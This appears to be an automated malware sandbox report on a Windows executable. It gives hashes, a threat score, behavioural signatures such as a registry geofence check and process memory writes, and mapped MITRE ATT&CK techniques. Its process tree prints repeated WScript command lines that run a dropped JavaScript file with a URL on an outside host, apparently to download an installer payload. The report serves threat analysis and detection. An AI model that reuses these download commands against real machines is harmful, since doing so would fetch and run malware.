ae346077a06015fd74b94653f5ce7b38972ad3bcafe8536b26adde251b2f52d0

General

Target

2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe
Size

184KB
MD5

2b0ffc288ecf560afb88190c0deddf3c
SHA1

ca0cb10b73195578254d6ec195df5d0ace8c534f
SHA256

ae346077a06015fd74b94653f5ce7b38972ad3bcafe8536b26adde251b2f52d0
SHA512

73eb95ffa9783f7d8431bc309a7f32c4d1b82b6925292e3df15ebb7e77f6678800fd54a17985258a00502a12a5e0f06c08ba0abbb51a518b92e0ceb4c9ac8ba8
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3j:/7BSH8zUB+nGESaaRvoB7FJNndn6

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	636	WScript.exe
35	2208	WScript.exe
44	3224	WScript.exe
60	4340	WScript.exe
63	1060	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2952	3552	WerFault.exe	82

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3552 wrote to memory of 636	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	83
PID 3552 wrote to memory of 636	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	83
PID 3552 wrote to memory of 636	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	83
PID 3552 wrote to memory of 2208	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	94
PID 3552 wrote to memory of 2208	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	94
PID 3552 wrote to memory of 2208	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	94
PID 3552 wrote to memory of 3224	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	97
PID 3552 wrote to memory of 3224	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	97
PID 3552 wrote to memory of 3224	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	97
PID 3552 wrote to memory of 4340	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	100
PID 3552 wrote to memory of 4340	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	100
PID 3552 wrote to memory of 4340	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	100
PID 3552 wrote to memory of 1060	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	101
PID 3552 wrote to memory of 1060	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	101
PID 3552 wrote to memory of 1060	3552	2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe	101

C:\Users\Admin\AppData\Local\Temp\2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2b0ffc288ecf560afb88190c0deddf3c_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3552
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf76A7.js" http://www.djapp.info/?domain=FjKbgWKzYs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf76A7.exe
  2⤵
  - Blocklisted process makes network request
  PID:636
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf76A7.js" http://www.djapp.info/?domain=FjKbgWKzYs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf76A7.exe
  2⤵
  - Blocklisted process makes network request
  PID:2208
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf76A7.js" http://www.djapp.info/?domain=FjKbgWKzYs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf76A7.exe
  2⤵
  - Blocklisted process makes network request
  PID:3224
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf76A7.js" http://www.djapp.info/?domain=FjKbgWKzYs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf76A7.exe
  2⤵
  - Blocklisted process makes network request
  PID:4340
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf76A7.js" http://www.djapp.info/?domain=FjKbgWKzYs.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf76A7.exe
  2⤵
  - Blocklisted process makes network request
  PID:1060
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1460
  2⤵
  - Program crash
  PID:2952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3552 -ip 3552
1⤵
PID:3208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf76A7.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit

Analysis

Sharing